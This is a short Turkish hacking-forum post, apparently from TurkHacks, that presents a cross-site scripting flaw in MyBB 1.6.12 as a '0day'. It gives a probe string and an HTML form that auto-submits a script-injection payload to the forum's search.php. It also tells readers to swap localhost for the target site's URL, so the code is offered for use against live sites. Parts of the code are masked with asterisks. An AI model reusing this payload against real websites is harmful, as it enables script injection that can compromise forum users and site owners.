Hoşgeldin Misafir

Mybb 1.6.12 Xss Güvenlik Zafiyeti | Hellscream2

Hellscream2

7 Eyl 2017
1,062 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
  MyBB 1.6.12 0day Xss Zaafiyeti  | Hellscream2  TurkHacks.Com

Selamun Aleyküm Arkadaşlar Bugun Mybb 1.6.12 Sitelerde Xss Zafiyetini Test Edicez İyi Günler.

Videodaki Kodlar
Xss Hata Kodumuz:
PHP:
<foo> <h1> ********** alert (bar) () ; // ' " > < prompt \x41 %42 constructor onload
Html İnjecte Kodumuz:
PHP:
<html>

<body>
<form name="exploit" action="http://localhost/search.php" method="POST">
<input type="hidden" name="action" value="do_search" />
<input type="hidden" name="keywords" value="qor&apos;(&quot;\2a&lt;script&gt;alert(/XSS/)&lt;/script&gt; " />
******************.exploit.submit(); </script>
</form>
</body>
</html>
http://localhost/search.php yi  Site Url Sine Göre Düzenleyiniz 

Selametle.